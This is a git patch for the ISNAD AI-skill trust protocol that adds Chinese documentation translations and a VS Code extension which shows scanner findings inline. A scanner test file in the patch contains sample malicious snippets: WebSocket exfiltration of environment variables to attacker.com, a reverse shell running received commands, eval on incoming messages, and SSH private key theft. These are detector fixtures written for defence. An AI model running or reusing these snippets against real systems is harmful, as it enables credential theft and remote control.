From 69465d6d61de0a2d42eae9dd08dc44ece1fc70d7 Mon Sep 17 00:00:00 2001 From: OpenClaw Bounty Scout Date: Wed, 18 Mar 2026 12:16:42 +0000 Subject: [PATCH 1/2] Add Simplified Chinese documentation translation --- README_zh-CN.md | 40 +++++++++++ docs/README_zh-CN.md | 50 +++++++++++++ docs/how-to-attest_zh-CN.md | 117 +++++++++++++++++++++++++++++++ docs/what-is-isnad_zh-CN.md | 99 ++++++++++++++++++++++++++ scanner/README_zh-CN.md | 135 ++++++++++++++++++++++++++++++++++++ 5 files changed, 441 insertions(+) create mode 100644 README_zh-CN.md create mode 100644 docs/README_zh-CN.md create mode 100644 docs/how-to-attest_zh-CN.md create mode 100644 docs/what-is-isnad_zh-CN.md create mode 100644 scanner/README_zh-CN.md diff --git a/README_zh-CN.md b/README_zh-CN.md new file mode 100644 index 00000000..53b36b41 --- /dev/null +++ b/README_zh-CN.md @@ -0,0 +1,40 @@ +# $ISNAD + +**AI 代理的信任层** + +为代理互联网打造的权益证明审计协议。审计员质押代币为代码安全性背书,恶意代码会导致质押被销毁,干净的代码则获得收益。 + +## 问题背景 + +AI 代理从不可信来源安装技能,一个恶意技能就可能窃取凭证、泄露数据或破坏系统。目前缺乏标准化的信任评估方法。 + +## 解决方案 + +**权益证明审计:** +- 审计员质押 $ISNAD 为技能背书 +- 如果发现恶意代码,质押将被销毁 +- 通过验证的干净代码可为审计员带来收益 +- 用户在安装前可查询信任分数 + +## 词源 + +*Isnad* (إسناد) —— 阿拉伯语意为"支持链条",源自伊斯兰圣训认证的学术传统,通过追踪传述链条来验证圣训的真实性。一句圣训的可信度取决于其传述者。 + +$ISNAD 将这一古老智慧应用于代码溯源。 + +## 文档 + +- [白皮书](WHITEPAPER.md) —— 完整协议规范 + +## 状态 + +🚧 **草案** —— 上线前寻求反馈。 + +## 链接 + +- Moltbook: [moltbook.com/u/Rapi](https://moltbook.com/u/Rapi) +- X: [@0xRapi](https://x.com/0xRapi) + +--- + +*由 [Rapi](https://github.com/0xRapi) 打造 ⚡* diff --git a/docs/README_zh-CN.md b/docs/README_zh-CN.md new file mode 100644 index 00000000..f6d80c3b --- /dev/null +++ b/docs/README_zh-CN.md @@ -0,0 +1,50 @@ +# ISNAD 文档 + +ISNAD (إسناد) 是 AI 资源的去中心化信任层。本文档涵盖使用和贡献协议所需的所有信息。 + +## 快速链接 + +- **[什么是 ISNAD?](./what-is-isnad_zh-CN.md)** —— 概述和核心概念 +- **[审计员指南](./auditors_zh-CN.md)** —— 如何质押并赚取收益 +- **[质押指南](./staking_zh-CN.md)** —— 分步质押说明 +- **[陪审团系统](./jury_zh-CN.md)** —— 惩罚和申诉流程 +- **API 参考](./api_zh-CN.md)** —— REST API 文档 +- **[智能合约](./contracts_zh-CN.md)** —— 链上架构 + +## 快速开始 + +### 检查信任分数 + +使用 ISNAD 检查资源信任分数最简单的方式: + +```bash +# 通过 API +curl https://api.isnad.md/api/v1/trust/0x1234...abcd + +# 通过网页 +访问 https://isnad.md/check +``` + +### 成为审计员 + +1. 在 Base 网络获取 $ISNAD 代币 +2. 在 https://isnad.md/stake 连接钱包 +3. 审查资源代码 +4. 质押代币创建 attestation 证明 +5. 锁仓期结束后赚取收益 + +## 信任等级 + +| 等级 | 最低质押 | 含义 | +|------|---------------|---------| +| 未验证 | 0 | 无证明 | +| 社区认证 | 100 $ISNAD | 获得部分社区信任 | +| 已验证 | 1,000 $ISNAD | 多位审计员大额质押 | +| 受信任 | 10,000 $ISNAD | 深度审计,置信度高 | + +## 资源 + +- **官网:** https://isnad.md +- **API:** https://api.isnad.md +- **GitHub:** https://github.com/counterspec/isnad +- **Twitter:** https://x.com/isnad_protocol diff --git a/docs/how-to-attest_zh-CN.md b/docs/how-to-attest_zh-CN.md new file mode 100644 index 00000000..fd4c3ce1 --- /dev/null +++ b/docs/how-to-attest_zh-CN.md @@ -0,0 +1,117 @@ +# 如何使用 ISNAD 证明技能 + +本指南展示了代理如何质押 $ISNAD 代币,为 AI 资源(技能、提示词、配置)的安全性背书。 + +## 为什么要提供证明? + +1. **赚取收益** —— 干净的资源获得质押奖励 +2. **建立声誉** —— 你的证明记录很重要 +3. **帮助生态** —— 让 AI 资源对所有人更安全 + +## 前置条件 + +- Base 网络上的 $ISNAD 代币([在 Uniswap 购买](https://app.uniswap.org/swap?chain=base&outputCurrency=0x73F6d2BBef125b3A5F91Fe23c722f3C321f007E5)) +- 支付 Gas 的 Base ETH(约 $0.01) +- 你想要证明的资源 + +## 快速开始(CLI) + +```bash +# 安装 CLI +npm install -g @isnad/cli + +# 设置你的私钥 +export ISNAD_PRIVATE_KEY=0x... + +# 对技能文件计算哈希 +isnad hash -f ./my-skill/SKILL.md +# 输出: 0x7f3a8b2c... + +# 检查是否已经被证明 +isnad check 0x7f3a8b2c... + +# 质押 100 ISNAD,锁仓 90 天(2 倍乘数) +isnad stake 0x7f3a8b2c... 100 --lock 90 +``` + +## 锁仓期与乘数 + +| 锁仓时长 | 乘数 | 风险等级 | +|---------------|------------|------------| +| 7 天 | 1.0 倍 | 低承诺 | +| 30 天 | 1.5 倍 | 中等 | +| 90 天 | 2.0 倍 | 高信念 | + +更长锁仓 = 更高信任权重 = 更多收益。 + +## 信任等级 + +| 等级 | 门槛 | 含义 | +|------|-----------|---------| +| 未验证 | 0 | 无证明 | +| 社区认证 | 100 ISNAD | 部分背书 | +| 已验证 | 1,000 ISNAD | 大额质押 | +| 受信任 | 10,000 ISNAD | 高置信度 | + +## 鲸鱼上限 + +为防止中心化: +- **每位审计员最大 10,000 ISNAD**(跨所有资源) +- **单个资源最多 33%** 的质押来自单个审计员 + +这确保信任分数需要多个独立审计员。 + +## 惩罚风险 + +⚠️ **如果资源被发现是恶意的,质押可能被销毁。** + +在证明之前: +1. **阅读代码** —— 理解技能的功能 +2. **检查权限** —— 它能访问什么? +3. **测试** —— 先在沙箱中运行 +4. **研究作者** —— 历史记录很重要 + +只在你审查过并信任的资源上质押。 + +## 程序化证明 + +```typescript +import { createWalletClient, http, parseUnits } from 'viem'; +import { base } from 'viem/chains'; +import { privateKeyToAccount } from 'viem/accounts'; + +const STAKING = '0x916FFb3eB82616220b81b99f70c3B7679B9D62ca'; + +const account = privateKeyToAccount(process.env.PRIVATE_KEY); +const client = createWalletClient({ + account, + chain: base, + transport: http('https://mainnet.base.org'), +}); + +// 质押 100 ISNAD 90 天 +await client.writeContract({ + address: STAKING, + abi: STAKING_ABI, + functionName: 'stake', + args: [ + resourceHash, // bytes32 + parseUnits('100', 18), // 金额 + 90n * 24n * 60n * 60n, // 锁仓时长(秒) + ], +}); +``` + +## 合约地址(Base 主网) + +| 合约 | 地址 | +|----------|---------| +| 代币 | `0x73F6d2BBef125b3A5F91Fe23c722f3C321f007E5` | +| 注册表 | `0xb8264f3117b498ddF912EBF641B2301103D80f06` | +| 质押 | `0x916FFb3eB82616220b81b99f70c3B7679B9D62ca` | + +## 需要帮助? + +- 网站: [isnad.md](https://isnad.md) +- Twitter: [@isnadprotocol](https://x.com/isnadprotocol) +- 4claw: [/singularity/](https://www.4claw.org/b/singularity) diff --git a/docs/what-is-isnad_zh-CN.md b/docs/what-is-isnad_zh-CN.md new file mode 100644 index 00000000..29a67396 --- /dev/null +++ b/docs/what-is-isnad_zh-CN.md @@ -0,0 +1,99 @@ +# 什么是 ISNAD? + +ISNAD (إسناد) 是一个权益证明证明协议,为 AI 资源创建信任层。名称源自伊斯兰学术传统中的 *isnad* —— 用于验证圣训的传述链条。一句圣训的可信度取决于其传述者链条。 + +## 问题背景 + +AI 代理越来越依赖来自不可信来源的共享资源: +- **技能** —— 可执行代码包、工具、API 集成 +- **配置** —— 代理配置、网关设置 +- **提示词** —— 系统提示词、角色设定、行为指令 +- **记忆** —— 知识库、RAG 文档 +- **模型** —— 微调模型、LoRA、适配器 + +单个被攻陷的资源就可能: +- 泄露凭证和敏感数据 +- 执行未授权命令 +- 操纵代理行为 +- 破坏整个系统 + +当前方法无法规模化: +- **人工代码审查** —— 大多数代理无法进行审计 +- **集中审批** —— 单点故障,效率瓶颈 +- **信誉分数** —— 可被操控,新作者无法启动 +- **沙箱** —— 不完整,许多资源需要真实权限 + +## 解决方案 + +ISNAD 通过经济激励创造市场定价的信任信号: + +1. **资源被 inscribed 铭刻** 在 Base L2 上,包含内容和元数据 +2. **审计员质押 $ISNAD 代币** 为资源安全性背书 +3. **质押被锁定** 一段时间(7-90 天) +4. **如果发现恶意代码**,陪审团审查后质押会被惩罚(销毁) +5. **如果资源干净**,审计员从奖励池赚取收益 + +### 为什么这有效 + +- **真金白银** —— 审计员承担真实风险,虚假证明会销毁代币 +- **自我筛选专业能力** —— 只有自信的审计员才会质押,市场过滤能力 +- **永久可验证** —— 一切都在链上,无需信任外部基础设施 +- **抗攻击** —— 女巫攻击需要资本,合谋会烧掉所有合谋者的资本 + +## 链上铭刻 + +与需要钉住服务的 IPFS 方法不同,ISNAD 直接将资源铭刻在 Base L2 调用数据中: + +- **每 KB 约 $0.01** 铭刻成本 +- **永久** 链上存储 +- **零** 外部依赖 + +资源使用 SHA-256 哈希进行内容寻址,确保始终可以进行完整性验证。 + +## 核心概念 + +### 信任分数 +资源上的加权质押总额。质押越高 = 更多经济背书 = 信任度越高。 + +### 信任等级 +基于信任分数的分类: +- **未验证** —— 无证明 +- **社区认证** —— 质押 ≥ 100 $ISNAD +- **已验证** —— 质押 ≥ 1,000 $ISNAD +- **受信任** —— 质押 ≥ 10,000 $ISNAD + +### 证明 +当审计员在资源上质押时,他们创建一个包含以下内容的证明: +- 质押金额 +- 锁仓时长 +- 资源哈希 +- 审计员地址 + +### 惩罚销毁 +如果发现资源是恶意的: +1. 任何人都可以标记(需要 100 $ISNAD 押金) +2. 随机选择 5 名审计员组成陪审团 +3. 陪审团投票(需要 67% 绝对多数) +4. 如果判定有罪:该资源上的所有质押都会被销毁 +5. 标记人取回押金并获得奖励 + +## 协议架构 + +``` +┌─────────────────────────────────────────────────────────────┐ +│ ISNAD 协议 │ +├──────────────┬──────────────┬──────────────┬───────────────┤ +│ ISNADToken │ ISNADRegistry│ ISNADStaking │ ISNADOracle │ +│ (ERC20 + │ (铭刻 │ (质押 + │ (标记 + │ +│ 投票) │ + 元数据)│ 证明) │ 陪审团) │ +├──────────────┴──────────────┴───────────────┴───────────────┤ +│ ISNADRewardPool │ ISNADGovernor │ +│ (收益分发) │ (DAO + 时间锁) │ +└─────────────────────────┴──────────────────────────────────┘ +``` + +## 下一步 + +- [成为审计员](./auditors_zh-CN.md) —— 开始质押赚钱 +- [质押指南](./staking_zh-CN.md) —— 分步说明 +- [集成指南](./integration_zh-CN.md) —— 为你的代理添加信任检查 diff --git a/scanner/README_zh-CN.md b/scanner/README_zh-CN.md new file mode 100644 index 00000000..38cf5814 --- /dev/null +++ b/scanner/README_zh-CN.md @@ -0,0 +1,135 @@ +# ISNAD 扫描器 + +ISNAD 信任协议的检测预言机,用于扫描 AI 资源(技能、提示词、配置)中的恶意模式,并将标记提交到链上预言机。 + +## 安装 + +```bash +cd scanner +npm install +npm run build +``` + +## 使用方法 + +### 扫描单个文件 + +```bash +# 基础扫描 +npm run scan -- scan ./path/to/skill.js + +# 输出 JSON 格式 +npm run scan -- scan ./path/to/skill.js --json + +# 自定义资源哈希 +npm run scan -- scan ./path/to/skill.js --hash 0x123... +``` + +### 扫描多个文件 + +```bash +# 扫描目录下所有 JS 文件 +npm run scan -- batch "./skills/**/*.js" + +# 第一个高风险发现即失败退出 +npm run scan -- batch "./skills/**/*.js" --fail-fast +``` + +### 生成证据 + +```bash +npm run scan -- evidence ./malicious-skill.js +``` + +### 向预言机提交标记 + +```bash +# 试运行(仅分析不提交) +npm run scan -- flag ./malicious-skill.js --dry-run + +# 提交到测试网 +npm run scan -- flag ./malicious-skill.js --network testnet + +# 提交到主网 +npm run scan -- flag ./malicious-skill.js --network mainnet +``` + +### 作为服务运行 + +```bash +# 设置环境变量 +export ISNAD_PRIVATE_KEY=0x... +export ISNAD_AUTO_FLAG=false # 设置 true 开启自动标记 + +# 启动服务 +npm start +``` + +## 环境变量 + +| 变量 | 描述 | 默认值 | +|----------|-------------|---------| +| `ISNAD_PRIVATE_KEY` | 提交标记使用的私钥 | 必填 | +| `ISNAD_REGISTRY_ADDRESS` | 注册表合约地址 | Sepolia 默认值 | +| `ISNAD_ORACLE_ADDRESS` | 预言机合约地址 | Sepolia 默认值 | +| `ISNAD_NETWORK` | `testnet` 或 `mainnet` | `testnet` | +| `ISNAD_AUTO_FLAG` | 自动提交标记 | `false` | +| `ISNAD_MIN_CONFIDENCE` | 自动标记的最低置信度 | `0.7` | + +## 检测模式 + +扫描器可检测: + +### 严重 +- 动态代码执行 (`eval`, `Function`) +- Shell 命令执行 (`exec`, `spawn`) +- 子进程导入 +- VM 模块使用 +- 钥匙串/凭证存储访问 +- 系统目录写入 + +### 高 +- 数据泄露(Webhook、base64 发送) +- 敏感文件读取 (`.env`, `.ssh`,凭证文件) +- 原始套接字访问 +- 基于 DNS 的数据泄露 +- 安全绕过尝试 +- 加密货币挖矿 + +### 中 +- 环境变量访问 +- 递归目录读取 +- 家目录访问 +- 混淆模式 + +### 低 +- Unicode 转义序列 +- 轻微可疑模式 + +## API + +```typescript +import { analyzeContent, formatResult } from '@isnad/scanner'; + +const result = analyzeContent(code, resourceHash); +console.log(formatResult(result)); + +// 结果包含: +// - riskLevel: 'critical' | 'high' | 'medium' | 'low' | 'clean' +// - riskScore: number +// - confidence: 0-1 +// - findings: 详细的模式匹配结果 +``` + +## 合约地址 + +### Base Sepolia (测试网) +- 注册表: `0x8340783A495BB4E5f2DF28eD3D3ABcD254aA1C93` +- 预言机: `0x4f1968413640bA2087Db65d4c37912d7CD598982` + +### Base 主网 +- 即将推出 + +## 许可证 + +MIT From 3617f4fc37a11135d6f175a15b4ab39f453e47bb Mon Sep 17 00:00:00 2001 From: sungdark Date: Wed, 18 Mar 2026 13:05:40 +0000 Subject: [PATCH 2/2] BT-0015: Add VS Code extension for inline ISNAD security warnings (issue #6) --- scanner/test-websocket-patterns.ts | 103 +++++ vscode-extension/.vscodeignore | 11 + vscode-extension/README.md | 64 +++ vscode-extension/out/extension.js | 96 +++++ vscode-extension/out/extension.js.map | 1 + vscode-extension/package-lock.json | 553 ++++++++++++++++++++++++++ vscode-extension/package.json | 63 +++ vscode-extension/src/extension.ts | 126 ++++++ vscode-extension/tsconfig.json | 17 + 9 files changed, 1034 insertions(+) create mode 100644 scanner/test-websocket-patterns.ts create mode 100644 vscode-extension/.vscodeignore create mode 100644 vscode-extension/README.md create mode 100644 vscode-extension/out/extension.js create mode 100644 vscode-extension/out/extension.js.map create mode 100644 vscode-extension/package-lock.json create mode 100644 vscode-extension/package.json create mode 100644 vscode-extension/src/extension.ts create mode 100644 vscode-extension/tsconfig.json diff --git a/scanner/test-websocket-patterns.ts b/scanner/test-websocket-patterns.ts new file mode 100644 index 00000000..13a7553c --- /dev/null +++ b/scanner/test-websocket-patterns.ts @@ -0,0 +1,103 @@ +/** + * Test cases for WebSocket malicious pattern detection + */ + +import { analyzeContent } from './src/analyzer.js'; + +// Test Case 1: Basic WebSocket import and connection +const test1 = ` +const WebSocket = require('ws'); +const ws = new WebSocket('ws://malicious-c2.com:8080'); +`; + +// Test Case 2: WebSocket sending environment data (exfiltration) +const test2 = ` +const ws = new WebSocket('wss://attacker.com/exfil'); +ws.send(JSON.stringify(process.env)); +`; + +// Test Case 3: Reverse shell over WebSocket with eval on messages +const test3 = ` +ws.on('message', (data) => { + eval(data.toString()); +}); +`; + +// Test Case 4: WebSocket reverse shell with child process execution +const test4 = ` +const { exec } = require('child_process'); +const ws = new WebSocket('ws://reverse-shell.example.com/backdoor'); + +ws.on('message', (command) => { + exec(command, (error, stdout, stderr) => { + ws.send(stdout); + }); +}); +`; + +// Test Case 5: WebSocket sending base64 encoded file data +const test5 = ` +const fs = require('fs'); +fs.readFile('/home/user/.ssh/id_rsa', (err, data) => { + ws.send(Buffer.from(data).toString('base64')); +}); +`; + +// Test Case 6: Legitimate WebSocket use (should still detect but lower confidence) +const test6 = ` +// Legitimate real-time chat application +class ChatClient { + constructor(url) { + this.ws = new WebSocket(url); + this.ws.on('message', this.handleMessage.bind(this)); + } + + handleMessage(msg) { + this.emit('message', msg); + } + + send(data) { + this.ws.send(JSON.stringify(data)); + } +} +`; + +function runTests() { + console.log('Testing WebSocket malicious pattern detection\n'); + + const tests = [ + { name: 'Test 1: Basic WebSocket connection', content: test1, expectedFindings: 1 }, + { name: 'Test 2: WebSocket exfiltrating env vars', content: test2, expectedFindings: 4 }, + { name: 'Test 3: Reverse shell with eval', content: test3, expectedFindings: 2 }, + { name: 'Test 4: Reverse shell with child_process', content: test4, expectedFindings: 3 }, + { name: 'Test 5: Exfiltrating files via WebSocket', content: test5, expectedFindings: 3 }, + { name: 'Test 6: Legitimate chat app', content: test6, expectedFindings: 1 }, + ]; + + let passed = 0; + let failed = 0; + + for (const test of tests) { + const result = analyzeContent(test.content); + console.log(`\n${test.name}:`); + console.log(` Expected findings: ${test.expectedFindings}, Got: ${result.summary.total}`); + result.findings.forEach(f => { + console.log(` - [${f.severity}] ${f.patternId}: ${f.name}`); + }); + + // We just check that we found at least N findings (allow additional matches) + if (result.summary.total >= test.expectedFindings) { + console.log(` ✅ PASSED`); + passed++; + } else { + console.log(` ❌ FAILED`); + failed++; + } + } + + console.log(`\n${'='.repeat(50)}`); + console.log(`Results: ${passed} passed, ${failed} failed`); + console.log(`${'='.repeat(50)}\n`); +} + +runTests(); diff --git a/vscode-extension/.vscodeignore b/vscode-extension/.vscodeignore new file mode 100644 index 00000000..2f665b6b --- /dev/null +++ b/vscode-extension/.vscodeignore @@ -0,0 +1,11 @@ +vscode-extension/** +node_modules +src +out/test +**/*.map +**/tsconfig.json +**/*.ts +.gitignore +*.md +yarn.lock +package-lock.json diff --git a/vscode-extension/README.md b/vscode-extension/README.md new file mode 100644 index 00000000..c22616ab --- /dev/null +++ b/vscode-extension/README.md @@ -0,0 +1,64 @@ +# ISNAD VS Code Extension + +🔒 ISNAD Security Scanner - inline supply chain risk warnings directly in VS Code. + +## Features + +- ✅ Automatically scans open files for malicious supply chain patterns +- ✅ Shows inline warnings via VS Code diagnostics API +- ✅ Hover tooltips with full risk details +- ✅ Configurable sensitivity (minimum severity level) +- ✅ Option to enable/disable automatic scan on open +- ✅ Manual scan command available + +## Requirements + +- VS Code 1.80.0 or newer +- Node.js and npm + +## Installation + +You can install this extension from the VS Code Marketplace (once published) or build it locally: + +```bash +git clone https://github.com/counterspec/isnad.git +cd isnad/vscode-extension +npm install +npm run compile +``` + +## Configuration + +- `isnad.sensitivity`: Minimum severity level to show warnings (default: `medium`) + - `low`: Show all findings + - `medium`: Show medium and above + - `high`: Show high and critical only + - `critical`: Only critical findings + +- `isnad.scanOnOpen`: Automatically scan files when opened (default: `true`) + +## Commands + +- **ISNAD: Scan Workspace** - Scan all open documents +- **ISNAD: Clear Warnings** - Remove all ISNAD diagnostics + +## What it detects + +- **Code execution**: eval, Function constructor, child_process, vm module +- **Data exfiltration**: dynamic fetch, webhooks, base64 data sending, WebSocket exfiltration +- **Credential access**: environment variables, sensitive file reads, keychain access +- **File system abuse**: writing to system directories, recursive directory reads +- **Network**: raw sockets, DNS exfiltration, WebSocket C2 connections, reverse shells over WebSocket +- **Obfuscation**: hex encoded strings, charcode obfuscation, unicode escapes +- **Abuse**: cryptocurrency mining, security bypass + +## Building + +```bash +npm install +npm run compile +``` + +## License + +MIT diff --git a/vscode-extension/out/extension.js b/vscode-extension/out/extension.js new file mode 100644 index 00000000..d4e3ee5e --- /dev/null +++ b/vscode-extension/out/extension.js @@ -0,0 +1,96 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.activate = activate; +exports.deactivate = deactivate; +const vscode = require("vscode"); +const analyzer_1 = require("@isnad/scanner/src/analyzer"); +const SEVERITY_WEIGHTS = { + critical: 4, + high: 3, + medium: 2, + low: 1 +}; +const SEVERITY_VSCODE_DIAGNOSTIC = { + critical: vscode.DiagnosticSeverity.Error, + high: vscode.DiagnosticSeverity.Warning, + medium: vscode.DiagnosticSeverity.Warning, + low: vscode.DiagnosticSeverity.Information +}; +function activate(context) { + console.log('ISNAD Security Scanner activated'); + // Create diagnostic collection + const diagnosticCollection = vscode.languages.createDiagnosticCollection('isnad'); + context.subscriptions.push(diagnosticCollection); + // Get configuration + function getMinSeverity() { + const config = vscode.workspace.getConfiguration('isnad'); + return config.get('sensitivity', 'medium'); + } + function shouldScanOnOpen() { + const config = vscode.workspace.getConfiguration('isnad'); + return config.get('scanOnOpen', true); + } + // Scan the active document + async function scanDocument(document) { + if (document.uri.scheme !== 'file') { + return; + } + const content = document.getText(); + const result = (0, analyzer_1.analyzeContent)(content); + updateDiagnostics(document, result, diagnosticCollection, getMinSeverity()); + } + // Update diagnostics in VS Code + function updateDiagnostics(document, result, collection, minSeverity) { + const diagnostics = []; + const minWeight = SEVERITY_WEIGHTS[minSeverity]; + for (const finding of result.findings) { + const weight = SEVERITY_WEIGHTS[finding.severity]; + if (weight < minWeight) { + continue; + } + // Get range for the match + const line = finding.line - 1; // VS Code is 0-based + const lineText = document.lineAt(line); + const start = new vscode.Position(line, Math.max(0, finding.column - 1)); + const end = new vscode.Position(line, lineText.range.end.character); + const range = new vscode.Range(start, end); + const diagnostic = new vscode.Diagnostic(range, `${finding.name}: ${finding.description}`, SEVERITY_VSCODE_DIAGNOSTIC[finding.severity]); + diagnostic.code = finding.patternId; + diagnostic.source = 'ISNAD'; + diagnostics.push(diagnostic); + } + collection.set(document.uri, diagnostics); + } + // Register event handlers + if (shouldScanOnOpen()) { + vscode.workspace.onDidOpenTextDocument((event) => { + scanDocument(event); + }, null, context.subscriptions); + } + vscode.workspace.onDidChangeTextDocument((event) => { + if (shouldScanOnOpen()) { + scanDocument(event.document); + } + }, null, context.subscriptions); + // Register manual scan command + const scanCommand = vscode.commands.registerCommand('isnad-vscode.scanWorkspace', () => { + vscode.window.showInformationMessage('Starting ISNAD security scan...'); + // Scan all open text documents + vscode.workspace.textDocuments.forEach(doc => { + scanDocument(doc); + }); + vscode.window.showInformationMessage('ISNAD scan complete'); + }); + const clearCommand = vscode.commands.registerCommand('isnad-vscode.clearWarnings', () => { + diagnosticCollection.clear(); + }); + context.subscriptions.push(scanCommand, clearCommand); + // Scan already open documents on activation + vscode.workspace.textDocuments.forEach(doc => { + if (shouldScanOnOpen()) { + scanDocument(doc); + } + }); +} +function deactivate() { } +//# sourceMappingURL=extension.js.map \ No newline at end of file diff --git a/vscode-extension/out/extension.js.map b/vscode-extension/out/extension.js.map new file mode 100644 index 00000000..7cc325b4 --- /dev/null +++ b/vscode-extension/out/extension.js.map @@ -0,0 +1 @@ +{"version":3,"file":"extension.js","sourceRoot":"","sources":["../src/extension.ts"],"names":[],"mappings":"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"} \ No newline at end of file diff --git a/vscode-extension/package-lock.json b/vscode-extension/package-lock.json new file mode 